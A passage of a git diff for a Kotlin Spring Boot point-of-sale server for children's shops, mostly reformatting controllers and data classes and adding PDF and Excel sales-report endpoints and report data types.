59) + calendar.set(Calendar.SECOND, 59) + val endDate = calendar.time + + return downloadSalesExcelReport(startDate, endDate, storeId) + } + + @GetMapping("/sales/excel/month") + fun downloadMonthlySalesExcelReport( + @RequestParam year: Int, + @RequestParam month: Int, + @RequestParam(required = false) storeId: Int?, + ): ResponseEntity { + val calendar = Calendar.getInstance() + calendar.set(year, month - 1, 1, 0, 0, 0) + calendar.set(Calendar.MILLISECOND, 0) + val startDate = calendar.time + + calendar.add(Calendar.MONTH, 1) + calendar.add(Calendar.DAY_OF_MONTH, -1) + calendar.set(Calendar.HOUR_OF_DAY, 23) + calendar.set(Calendar.MINUTE, 59) + calendar.set(Calendar.SECOND, 59) + val endDate = calendar.time + + logger.info("Generating monthly sales Excel report for {}/{}", year, month) + return downloadSalesExcelReport(startDate, endDate, storeId) + } + + private fun buildFileName( + startDate: Date, + endDate: Date, + storeId: Int?, + ): String { + val startStr = dateFormat.format(startDate) + val endStr = dateFormat.format(endDate) + val storeStr = if (storeId != null) "_store$storeId" else "" + return "sales_report_${startStr}_${endStr}$storeStr.pdf" + } + + private fun buildExcelFileName( + startDate: Date, + endDate: Date, + storeId: Int?, + ): String { + val startStr = dateFormat.format(startDate) + val endStr = dateFormat.format(endDate) + val storeStr = if (storeId != null) "_store$storeId" else "" + return "sales_report_${startStr}_${endStr}$storeStr.xlsx" + } +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiController.kt index 79bbb57..7ad882b 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SettingApiController.kt @@ -21,24 +21,25 @@ class SettingApiController { private lateinit var service: SettingService @RequestMapping("status", method = [RequestMethod.GET]) - fun getStatus(): StatusBean { - return StatusBean("OK") - } + fun getStatus(): StatusBean = StatusBean("OK") @GetMapping - fun getAllSettings(): ResponseEntity> { - return ResponseEntity.ok(service.findAllSetting()) - } + fun getAllSettings(): ResponseEntity> = ResponseEntity.ok(service.findAllSetting()) @GetMapping("/{key}") - fun getSetting(@PathVariable key: String): ResponseEntity { - val setting = service.findSetting(key) - ?: throw ResourceNotFoundException("Setting with key $key not found") + fun getSetting( + @PathVariable key: String, + ): ResponseEntity { + val setting = + service.findSetting(key) + ?: throw ResourceNotFoundException("Setting with key $key not found") return ResponseEntity.ok(setting) } @PostMapping - fun createSetting(@Valid @RequestBody setting: SettingEntity): ResponseEntity { + fun createSetting( + @Valid @RequestBody setting: SettingEntity, + ): ResponseEntity { val savedSetting = service.saveSetting(setting) return ResponseEntity.status(HttpStatus.CREATED).body(savedSetting) } @@ -46,10 +47,11 @@ class SettingApiController { @PutMapping("/{key}") fun updateSetting( @PathVariable key: String, - @RequestParam value: String + @RequestParam value: String, ): ResponseEntity { - val existingSetting = service.findSetting(key) - ?: throw ResourceNotFoundException("Setting with key $key not found") + val existingSetting = + service.findSetting(key) + ?: throw ResourceNotFoundException("Setting with key $key not found") existingSetting.value = value val savedSetting = service.saveSetting(existingSetting) @@ -57,7 +59,9 @@ class SettingApiController { } @DeleteMapping("/{key}") - fun deleteSetting(@PathVariable key: String): ResponseEntity { + fun deleteSetting( + @PathVariable key: String, + ): ResponseEntity { service.findSetting(key) ?: throw ResourceNotFoundException("Setting with key $key not found") @@ -68,7 +72,7 @@ class SettingApiController { @PostMapping("/printer/{storeId}") fun savePrinterSettings( @PathVariable storeId: Int, - @RequestBody printerSettings: PrinterSettingsRequest + @RequestBody printerSettings: PrinterSettingsRequest, ): ResponseEntity> { service.savePrinterHostPort(storeId, printerSettings.host, printerSettings.port) return ResponseEntity.ok( @@ -76,21 +80,23 @@ class SettingApiController { "storeId" to storeId, "host" to printerSettings.host, "port" to printerSettings.port, - "message" to "Printer settings saved successfully" - ) + "message" to "Printer settings saved successfully", + ), ) } @GetMapping("/printer/{storeId}") - fun getPrinterSettings(@PathVariable storeId: Int): ResponseEntity> { + fun getPrinterSettings( + @PathVariable storeId: Int, + ): ResponseEntity> { val settings = service.findPrinterHostPortById(storeId) return if (settings != null) { ResponseEntity.ok( mapOf( "storeId" to storeId, "host" to settings.first, - "port" to settings.second - ) + "port" to settings.second, + ), ) } else { throw ResourceNotFoundException("Printer settings for store $storeId not found") @@ -99,35 +105,38 @@ class SettingApiController { @PostMapping("/application") fun saveApplicationSettings( - @RequestBody applicationSettings: SettingService.ApplicationSetting + @RequestBody applicationSettings: SettingService.ApplicationSetting, ): ResponseEntity> { service.saveApplicationSetting(applicationSettings) return ResponseEntity.ok( mapOf( "serverHost" to applicationSettings.serverHost, "serverPort" to applicationSettings.serverPort, - "message" to "Application settings saved successfully" - ) + "message" to "Application settings saved successfully", + ), ) } @GetMapping("/application") fun getApplicationSettings(): ResponseEntity { - val settings = service.getApplicationSetting() - ?: throw ResourceNotFoundException("Application settings not found") + val settings = + service.getApplicationSetting() + ?: throw ResourceNotFoundException("Application settings not found") return ResponseEntity.ok(settings) } /** * ステータス情報を表現するデータクラス */ - class StatusBean(val status: String) + class StatusBean( + val status: String, + ) /** * プリンタ設定のリクエストDTO */ data class PrinterSettingsRequest( val host: String, - val port: Int + val port: Int, ) -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiController.kt index 69c4eb8..5e32299 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StaffApiController.kt @@ -22,23 +22,27 @@ class StaffApiController { private lateinit var service: StaffService @GetMapping("/{barcode}") - fun getStaff(@PathVariable barcode: String): ResponseEntity { - val staff = service.findStaff(barcode) - ?: throw ResourceNotFoundException("Staff with barcode $barcode not found") + fun getStaff( + @PathVariable barcode: String, + ): ResponseEntity { + val staff = + service.findStaff(barcode) + ?: throw ResourceNotFoundException("Staff with barcode $barcode not found") return ResponseEntity.ok(staff) } @GetMapping - fun getAllStaff(): ResponseEntity> { - return ResponseEntity.ok(service.findAll()) - } + fun getAllStaff(): ResponseEntity> = ResponseEntity.ok(service.findAll()) @PostMapping - fun createStaff(@Valid @RequestBody request: CreateStaffRequest): ResponseEntity { - val staff = StaffEntity( - barcode = request.barcode, - name = request.name - ) + fun createStaff( + @Valid @RequestBody request: CreateStaffRequest, + ): ResponseEntity { + val staff = + StaffEntity( + barcode = request.barcode, + name = request.name, + ) val savedStaff = service.save(staff) return ResponseEntity.status(HttpStatus.CREATED).body(savedStaff) } @@ -46,10 +50,11 @@ class StaffApiController { @PutMapping("/{barcode}") fun updateStaff( @PathVariable barcode: String, - @Valid @RequestBody request: CreateStaffRequest + @Valid @RequestBody request: CreateStaffRequest, ): ResponseEntity { - val existingStaff = service.findStaff(barcode) - ?: throw ResourceNotFoundException("Staff with barcode $barcode not found") + val existingStaff = + service.findStaff(barcode) + ?: throw ResourceNotFoundException("Staff with barcode $barcode not found") val updatedStaff = existingStaff.copy(name = request.name) val savedStaff = service.save(updatedStaff) @@ -57,11 +62,14 @@ class StaffApiController { } @DeleteMapping("/{barcode}") - fun deleteStaff(@PathVariable barcode: String): ResponseEntity { - val existingStaff = service.findStaff(barcode) - ?: throw ResourceNotFoundException("Staff with barcode $barcode not found") + fun deleteStaff( + @PathVariable barcode: String, + ): ResponseEntity { + val existingStaff = + service.findStaff(barcode) + ?: throw ResourceNotFoundException("Staff with barcode $barcode not found") service.delete(existingStaff) return ResponseEntity.noContent().build() } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiController.kt index 0e5c320..83c13cd 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/StoreApiController.kt @@ -21,12 +21,12 @@ class StoreApiController { private lateinit var service: StoreService @GetMapping - fun getStores(): ResponseEntity> { - return ResponseEntity.ok(service.findAll()) - } + fun getStores(): ResponseEntity> = ResponseEntity.ok(service.findAll()) @PostMapping - fun createStore(@Valid @RequestBody store: StoreEntity): ResponseEntity { + fun createStore( + @Valid @RequestBody store: StoreEntity, + ): ResponseEntity { // Validate required fields if (store.name.isBlank()) { throw IllegalArgumentException("Store name is required") @@ -40,14 +40,20 @@ class StoreApiController { } @GetMapping("/{id}") - fun getStore(@PathVariable id: Int): ResponseEntity { - val store = service.findStore(id) - ?: throw ResourceNotFoundException("Store with ID $id not found") + fun getStore( + @PathVariable id: Int, + ): ResponseEntity { + val store = + service.findStore(id) + ?: throw ResourceNotFoundException("Store with ID $id not found") return ResponseEntity.ok(store) } @PutMapping("/{id}") - fun updateStore(@PathVariable id: Int, @Valid @RequestBody store: StoreEntity): ResponseEntity { + fun updateStore( + @PathVariable id: Int, + @Valid @RequestBody store: StoreEntity, + ): ResponseEntity { // Check if store exists service.findStore(id) ?: throw ResourceNotFoundException("Store with ID $id not found") @@ -65,7 +71,9 @@ class StoreApiController { } @DeleteMapping("/{id}") - fun deleteStore(@PathVariable id: Int): ResponseEntity { + fun deleteStore( + @PathVariable id: Int, + ): ResponseEntity { // Check if store exists service.findStore(id) ?: throw ResourceNotFoundException("Store with ID $id not found") @@ -73,4 +81,4 @@ class StoreApiController { service.delete(id) return ResponseEntity.noContent().build() } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/UserApiController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/UserApiController.kt index c7191b0..dc28417 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/UserApiController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/UserApiController.kt @@ -22,19 +22,22 @@ class UserApiController { private lateinit var staffService: StaffService @GetMapping - fun getUsers(): ResponseEntity> { - return ResponseEntity.ok(staffService.findAll()) - } + fun getUsers(): ResponseEntity> = ResponseEntity.ok(staffService.findAll()) @GetMapping("/{barcode}") - fun getUser(@PathVariable barcode: String): ResponseEntity { - val user = staffService.findStaff(barcode) - ?: throw ResourceNotFoundException("User with barcode $barcode not found") + fun getUser( + @PathVariable barcode: String, + ): ResponseEntity { + val user = + staffService.findStaff(barcode) + ?: throw ResourceNotFoundException("User with barcode $barcode not found") return ResponseEntity.ok(user) } @PostMapping - fun createUser(@Valid @RequestBody user: StaffEntity): ResponseEntity { + fun createUser( + @Valid @RequestBody user: StaffEntity, + ): ResponseEntity { // Validate required fields if (user.barcode.isBlank()) { throw IllegalArgumentException("Barcode is required") @@ -53,7 +56,10 @@ class UserApiController { } @PutMapping("/{barcode}") - fun updateUser(@PathVariable barcode: String, @Valid @RequestBody user: StaffEntity): ResponseEntity { + fun updateUser( + @PathVariable barcode: String, + @Valid @RequestBody user: StaffEntity, + ): ResponseEntity { // Check if user exists staffService.findStaff(barcode) ?: throw ResourceNotFoundException("User with barcode $barcode not found") @@ -68,7 +74,9 @@ class UserApiController { } @DeleteMapping("/{barcode}") - fun deleteUser(@PathVariable barcode: String): ResponseEntity { + fun deleteUser( + @PathVariable barcode: String, + ): ResponseEntity { // Check if user exists staffService.findStaff(barcode) ?: throw ResourceNotFoundException("User with barcode $barcode not found") @@ -76,4 +84,4 @@ class UserApiController { staffService.delete(barcode) return ResponseEntity.noContent().build() } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/ItemBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/ItemBean.kt index 9c7b223..3e305dc 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/ItemBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/ItemBean.kt @@ -4,5 +4,5 @@ data class ItemBean( val id: Int? = null, val barcode: String, val name: String, - val price: Int + val price: Int, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SaleBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SaleBean.kt index bbfe7a9..edd1c0d 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SaleBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SaleBean.kt @@ -4,5 +4,5 @@ data class SaleBean( val storeId: Int, val staffBarcode: String, val deposit: Int, - val itemIds: String + val itemIds: String, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SettingBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SettingBean.kt index d580457..b7235ff 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SettingBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/SettingBean.kt @@ -1,3 +1,6 @@ package info.nukoneko.kidspos.server.controller.api.model -data class SettingBean(val key: String, val value: Any? = null) \ No newline at end of file +data class SettingBean( + val key: String, + val value: Any? = null, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StaffBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StaffBean.kt index 55ca3b2..4a9ce60 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StaffBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StaffBean.kt @@ -1,3 +1,6 @@ package info.nukoneko.kidspos.server.controller.api.model -data class StaffBean(var barcode: String, val name: String) \ No newline at end of file +data class StaffBean( + var barcode: String, + val name: String, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StoreBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StoreBean.kt index c24d4a6..ffca143 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StoreBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/api/model/StoreBean.kt @@ -3,5 +3,5 @@ package info.nukoneko.kidspos.server.controller.api.model data class StoreBean( val id: Int? = null, val name: String, - val printerUri: String + val printerUri: String, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateItemRequest.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateItemRequest.kt index bf20af0..81c1446 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateItemRequest.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateItemRequest.kt @@ -15,11 +15,9 @@ data class CreateItemRequest( @field:NotBlank(message = "Item name is required") @field:Size(max = Constants.Validation.NAME_MAX_LENGTH) val name: String, - @field:NotBlank(message = "Barcode is required") @field:Pattern(regexp = Constants.Validation.BARCODE_PATTERN, message = "Invalid barcode format") val barcode: String, - @field:Min(value = 0, message = "Price must be non-negative") - val price: Int -) \ No newline at end of file + val price: Int, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateSaleRequest.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateSaleRequest.kt index 2d98d58..91d7083 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateSaleRequest.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateSaleRequest.kt @@ -12,13 +12,10 @@ import jakarta.validation.constraints.NotNull data class CreateSaleRequest( @field:NotNull(message = "Store ID is required") val storeId: Int, - @field:NotBlank(message = "Staff barcode is required") val staffBarcode: String, - @field:NotBlank(message = "Item IDs are required") val itemIds: String, - @field:Min(value = 0, message = "Deposit must be non-negative") - val deposit: Int -) \ No newline at end of file + val deposit: Int, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStaffRequest.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStaffRequest.kt index 5ddf002..4f2a9d7 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStaffRequest.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStaffRequest.kt @@ -12,12 +12,10 @@ data class CreateStaffRequest( @field:NotBlank(message = "Staff name is required") @field:Size(max = Constants.Validation.NAME_MAX_LENGTH, message = "Staff name is too long") val name: String, - @field:NotBlank(message = "Barcode is required") @field:Pattern(regexp = Constants.Validation.BARCODE_PATTERN, message = "Invalid barcode format") val barcode: String, - @field:NotNull(message = "Store ID is required") @field:Min(value = 1, message = "Store ID must be positive") - val storeId: Int -) \ No newline at end of file + val storeId: Int, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStoreRequest.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStoreRequest.kt index 4307bf4..5d6635f 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStoreRequest.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/CreateStoreRequest.kt @@ -14,11 +14,9 @@ data class CreateStoreRequest( @field:NotBlank(message = "Store name is required") @field:Size(max = Constants.Validation.NAME_MAX_LENGTH, message = "Store name is too long") val name: String, - @field:NotBlank(message = "Barcode is required") @field:Pattern(regexp = Constants.Validation.BARCODE_PATTERN, message = "Invalid barcode format") val barcode: String, - @field:Size(max = Constants.Validation.NAME_MAX_LENGTH, message = "Kana name is too long") - val kana: String? = null -) \ No newline at end of file + val kana: String? = null, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/ItemBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/ItemBean.kt index 78e17b1..76789ea 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/ItemBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/ItemBean.kt @@ -4,5 +4,5 @@ data class ItemBean( val id: Int? = null, val barcode: String, val name: String, - val price: Int -) \ No newline at end of file + val price: Int, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SaleBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SaleBean.kt index 92a65a1..9e0ec56 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SaleBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SaleBean.kt @@ -4,5 +4,5 @@ data class SaleBean( val storeId: Int, val staffBarcode: String, val deposit: Int, - val itemIds: String + val itemIds: String, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SettingBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SettingBean.kt index 6d51d1b..63cf144 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SettingBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/SettingBean.kt @@ -1,3 +1,6 @@ package info.nukoneko.kidspos.server.controller.dto.request -data class SettingBean(val key: String, val value: Any? = null) \ No newline at end of file +data class SettingBean( + val key: String, + val value: Any? = null, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StaffBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StaffBean.kt index 13307c0..b310674 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StaffBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StaffBean.kt @@ -1,3 +1,6 @@ package info.nukoneko.kidspos.server.controller.dto.request -data class StaffBean(var barcode: String, val name: String) \ No newline at end of file +data class StaffBean( + var barcode: String, + val name: String, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StoreBean.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StoreBean.kt index fcc188e..d02a20e 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StoreBean.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/request/StoreBean.kt @@ -3,5 +3,5 @@ package info.nukoneko.kidspos.server.controller.dto.request data class StoreBean( val id: Int? = null, val name: String, - val printerUri: String + val printerUri: String, ) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ErrorResponse.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ErrorResponse.kt index 4f8f460..f383564 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ErrorResponse.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ErrorResponse.kt @@ -10,5 +10,5 @@ data class ErrorResponse( val message: String, val timestamp: Instant = Instant.now(), val path: String? = null, - val details: Map? = null -) \ No newline at end of file + val details: Map? = null, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ItemResponse.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ItemResponse.kt index ba5d96a..065b8b5 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ItemResponse.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/ItemResponse.kt @@ -15,7 +15,7 @@ data class ItemResponse( val name: String, val price: Int, val createdAt: LocalDateTime? = null, - val updatedAt: LocalDateTime? = null + val updatedAt: LocalDateTime? = null, ) { val formattedPrice: String get() { @@ -25,4 +25,4 @@ data class ItemResponse( val displayName: String get() = "$name ($barcode)" -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleReportData.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleReportData.kt new file mode 100644 index 0000000..792b3f2 --- /dev/null +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleReportData.kt @@ -0,0 +1,31 @@ +package info.nukoneko.kidspos.server.controller.dto.response + +import java.util.Date + +data class SaleReportData( + val saleId: Int, + val storeId: Int, + val storeName: String, + val staffId: Int, + val staffName: String, + val quantity: Int, + val amount: Int, + val createdAt: Date, + val details: List, +) + +data class SaleReportDetailData( + val itemId: Int, + val itemName: String, + val price: Int, + val quantity: Int, + val subtotal: Int, +) + +data class SaleReportSummary( + val totalSales: Int, + val totalAmount: Int, + val averageAmount: Double, + val startDate: Date, + val endDate: Date, +) diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleResponse.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleResponse.kt index ef9f6d2..55b4725 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleResponse.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleResponse.kt @@ -19,7 +19,7 @@ data class SaleResponse( val deposit: Int, val change: Int, val saleTime: LocalDateTime, - val items: List = emptyList() + val items: List = emptyList(), ) { val totalItems: Int get() = items.sumOf { it.quantity } @@ -50,7 +50,7 @@ data class SaleItemResponse( val barcode: String, val quantity: Int, val unitPrice: Int, - val subtotal: Int + val subtotal: Int, ) { val formattedUnitPrice: String get() = formatCurrency(unitPrice) @@ -62,4 +62,4 @@ data class SaleItemResponse( val formatter = NumberFormat.getCurrencyInstance(Locale.JAPAN) return formatter.format(amount) } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StaffResponse.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StaffResponse.kt index 2b9112a..61d52e1 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StaffResponse.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StaffResponse.kt @@ -14,8 +14,8 @@ data class StaffResponse( val storeId: Int, val storeName: String? = null, val createdAt: LocalDateTime? = null, - val updatedAt: LocalDateTime? = null + val updatedAt: LocalDateTime? = null, ) { val displayName: String get() = "$name (ID: $id)" -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StoreResponse.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StoreResponse.kt index cece1ab..b3de3e7 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StoreResponse.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/StoreResponse.kt @@ -13,8 +13,8 @@ data class StoreResponse( val barcode: String, val kana: String? = null, val createdAt: LocalDateTime? = null, - val updatedAt: LocalDateTime? = null + val updatedAt: LocalDateTime? = null, ) { val displayName: String get() = kana?.let { "$name ($it)" } ?: name -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/IpController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/IpController.kt index 3a9a882..ea163cf 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/IpController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/IpController.kt @@ -16,7 +16,7 @@ import java.net.NetworkInterface @RequestMapping("/ip") class IpController( private val environment: Environment, - private val appProperties: AppProperties + private val appProperties: AppProperties, ) { private val logger = LoggerFactory.getLogger(this::class.java) @@ -42,23 +42,27 @@ class IpController( try { // ループバックインターフェースは除外し、アクティブなインターフェースのみ取得 - NetworkInterface.getNetworkInterfaces()?.asSequence() + NetworkInterface + .getNetworkInterfaces() + ?.asSequence() ?.filter { ni -> ni.isUp && !ni.isLoopback && !ni.isVirtual } ?.forEach { networkInterface -> - networkInterface.inetAddresses?.asSequence() - ?.filterIsInstance() // IPv4のみ取得して高速化 + networkInterface.inetAddresses + ?.asSequence() + ?.filterIsInstance() // IPv4のみ取得して高速化 ?.filter { inetAddress -> // ローカルIPアドレスのみフィルタリング !inetAddress.isLoopbackAddress && - !inetAddress.isLinkLocalAddress && - inetAddress.hostAddress.startsWith(appProperties.network.allowedIpPrefix) - } - ?.forEach { inetAddress -> + !inetAddress.isLinkLocalAddress && + inetAddress.hostAddress.startsWith(appProperties.network.allowedIpPrefix) + }?.forEach { inetAddress -> // hostNameの解決は遅いので、hostAddressのみを使用 - hosts.add(HostBean( - name = networkInterface.displayName ?: inetAddress.hostAddress, - address = inetAddress.hostAddress - )) + hosts.add( + HostBean( + name = networkInterface.displayName ?: inetAddress.hostAddress, + address = inetAddress.hostAddress, + ), + ) } } } catch (e: Exception) { @@ -79,7 +83,7 @@ class IpController( data class HostBean( val name: String, - val address: String + val address: String, ) { // IDは不要なので削除(ビューで必要なら簡単な計算で生成) val nameId: String get() = "name-${address.hashCode()}" diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ItemsController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ItemsController.kt index 14b05e3..1b08216 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ItemsController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ItemsController.kt @@ -7,7 +7,6 @@ import org.springframework.stereotype.Controller import org.springframework.ui.Model import org.springframework.web.bind.annotation.* - @Controller @RequestMapping("/items") class ItemsController { @@ -22,41 +21,50 @@ class ItemsController { } @GetMapping("new") - fun newItem(model: Model): String { - return "items/new" - } + fun newItem(model: Model): String = "items/new" @GetMapping("{id}/edit") - fun edit(@PathVariable id: Int, model: Model): String { + fun edit( + @PathVariable id: Int, + model: Model, + ): String { val item = itemService.findItem(id) model.addAttribute("item", item) return "items/edit" } @PostMapping - fun create(@ModelAttribute item: ItemBean): String { + fun create( + @ModelAttribute item: ItemBean, + ): String { itemService.save(item) return "redirect:/items" } @PostMapping("{id}/update") - fun update(@PathVariable id: Int, @ModelAttribute item: ItemBean): String { + fun update( + @PathVariable id: Int, + @ModelAttribute item: ItemBean, + ): String { val existingItem = itemService.findItem(id) if (existingItem != null) { - val updatedItem = ItemBean( - id = id, - barcode = item.barcode, - name = item.name, - price = item.price - ) + val updatedItem = + ItemBean( + id = id, + barcode = item.barcode, + name = item.name, + price = item.price, + ) itemService.save(updatedItem) } return "redirect:/items" } @PostMapping("{id}/delete") - fun delete(@PathVariable id: Int): String { + fun delete( + @PathVariable id: Int, + ): String { itemService.delete(id) return "redirect:/items" } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ReportsController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ReportsController.kt new file mode 100644 index 0000000..7699484 --- /dev/null +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ReportsController.kt @@ -0,0 +1,18 @@ +package info.nukoneko.kidspos.server.controller.front + +import org.slf4j.LoggerFactory +import org.springframework.stereotype.Controller +import org.springframework.web.bind.annotation.GetMapping +import org.springframework.web.bind.annotation.RequestMapping + +@Controller +@RequestMapping("/reports") +class ReportsController { + private val logger = LoggerFactory.getLogger(ReportsController::class.java) + + @GetMapping("/sales") + fun salesReportPage(): String { + logger.info("Accessing sales report page") + return "reports/sales" + } +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SalesController.kt b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SalesController.kt index 4eb7681..f917d9e 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SalesController.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/controller/front/SalesController.kt @@ -21,20 +21,23 @@ class SalesController { } @GetMapping("new") - fun newItem(model: Model): String { - return "sales/new" - } + fun newItem(model: Model): String = "sales/new" @GetMapping("{id}/edit") - fun edit(@PathVariable id: Int, model: Model): String { + fun edit( + @PathVariable id: Int, + model: Model, + ): String { val sale = saleService.findSale(id) model.addAttribute("sale", sale) 